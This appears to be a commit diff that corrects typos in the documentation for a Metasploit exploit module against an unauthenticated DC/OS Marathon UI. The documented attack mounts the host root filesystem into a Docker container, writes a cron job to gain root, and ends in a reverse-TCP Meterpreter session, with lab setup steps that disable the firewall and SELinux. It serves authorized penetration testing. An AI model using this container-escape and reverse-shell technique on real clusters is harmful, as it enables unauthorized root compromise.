2
2
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
3
3
a docker container with the '/' path mounted with read/write
4
4
permissions on the host server that is running the docker container.
5
- As the docker container excutes command as uid 0 it is honored
5
+ As the docker container executes command as uid 0 it is honored
6
6
by the host operating system allowing the attacker to edit/create
7
7
files owed by root. This exploit abuses this to creates a cron job
8
8
in the '/etc/cron.d/' path of the host server.
9
9
10
- * Notes: The docker image must be a valid docker image from
10
+ * Notes: The docker image must be a valid docker image from
11
11
hub.docker.com. Further more the docker container will only
12
12
deploy if there are resources available in the DC/OS
13
13
14
14
## DCOS
15
- This Expoit was tested with CentOS 7 as the host operating system for
15
+ This Exploit was tested with CentOS 7 as the host operating system for
16
16
the 2 services of the DCOS cluster. With DCOS version 1.7 and 1.8, with
17
- Defualt 'custom' installation for on site premise setup. Only the Install
17
+ Default 'custom' installation for on site premise setup. Only the Install
18
18
part of the DCOS guide was completed, the system hardening and securing
19
- your cluster section where skipped. This is to represent a 'Defualt ' install
19
+ your cluster section where skipped. This is to represent a 'Default ' install
20
20
with a system admin conducting hasty deployments taking no thought about security.
21
21
22
22
23
23
## To Setup Your Cluster
24
- I recommend doing a 'On-Premies '/custom
24
+ I recommend doing a 'on-premise '/custom
25
25
cluster. https://dcos.io/docs/1.8/administration/installing/custom/
26
26
Create a virtual CentOS machine, install requirements base on the above
27
27
guide.
28
-
28
+
29
29
``` bash
30
30
# The TLDR from the above guide
31
31
sudo systemctl stop firewalld && sudo systemctl disable firewalld
32
32
sudo yum install -y tar xz unzip curl ipset ntp
33
- systemctl start ntpd
34
- systemctl enable ntpd
33
+ sudo systemctl start ntpd
34
+ sudo systemctl enable ntpd
35
35
sudo sed -i s/SELINUX=enforcing/SELINUX=permissive/g /etc/selinux/config && \
36
36
sudo groupadd nogroup && sudo reboot
37
37
```
@@ -60,7 +60,7 @@ Once the CentOS machine has rebooted, edit the systemctl
60
60
service file for docker and change the ExecStart- line to
61
61
` ExecStart=/usr/bin/docker daemon --storage-driver=overlay -H fd:// `
62
62
restart the docker service and verify it is running.
63
- lastely generate ssh rsa keys for authentication. And update the
63
+ lastly generate ssh rsa keys for authentication. And update the
64
64
/etc/ssh/sshd_config file to support root login.
65
65
66
66
``` bash
@@ -77,10 +77,10 @@ Start the DCOS-Master and DCOS-Agent virtual machines You just cloned.
77
77
Login and get their current IP address.
78
78
* Note: I recommend giving them static IPs if you have further use for the cluster.
79
79
80
- From here use another linux machine with docker installed to finish
81
- the installation process. I used an ubuntu machine with docker installed.
80
+ From here use another Linux machine with docker installed to finish
81
+ the installation process. I used an Ubuntu machine with docker installed.
82
82
83
- Follow the custom CLI guide for creating the required files in
83
+ Follow the custom CLI guide for creating the required files in
84
84
the genconf folder.
85
85
https://dcos.io/docs/1.8/administration/installing/custom/cli/
86
86
@@ -137,9 +137,9 @@ If all is passing navigate to http://[master_ip]:8080/
137
137
You should see the Marathon UI web application.
138
138
139
139
# Exploitation
140
- This module is designed for the attacker to leaverage the creatation of a
141
- docker contianer with out authentication through the DCOS Marathon UI
142
- to gain root access to the hosting server of the docker container
140
+ This module is designed for the attacker to leverage, creation of a
141
+ docker container with out authentication through the DCOS Marathon UI
142
+ to gain root access to the hosting server of the docker container
143
143
in the DCOS cluster.
144
144
145
145
## Options
@@ -157,7 +157,7 @@ in the DCOS cluster.
157
157
158
158
## Example Output
159
159
```
160
- msf > use exploit/linux/http/dcos_marathon
160
+ msf > use exploit/linux/http/dcos_marathon
161
161
msf exploit(dcos_marathon) > set RHOST 192.168.0.9
162
162
RHOST => 192.168.0.9
163
163
msf exploit(dcos_marathon) > set payload python/meterpreter/reverse_tcp
@@ -168,9 +168,9 @@ msf exploit(dcos_marathon) > set verbose true
168
168
verbose => true
169
169
msf exploit(dcos_marathon) > check
170
170
[*] 192.168.0.9:8080 The target appears to be vulnerable.
171
- msf exploit(dcos_marathon) > exploit
171
+ msf exploit(dcos_marathon) > exploit
172
172
173
- [*] Started reverse TCP handler on 192.168.0.100:4444
173
+ [*] Started reverse TCP handler on 192.168.0.100:4444
174
174
[*] Setting container json request variables
175
175
[*] Creating the docker container command
176
176
[*] The docker container is created, waiting for it to deploy
@@ -188,5 +188,5 @@ OS : Linux 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UT
188
188
Architecture : x64
189
189
System Language : en_US
190
190
Meterpreter : python/linux
191
- meterpreter >
191
+ meterpreter >
192
192
```
0 commit comments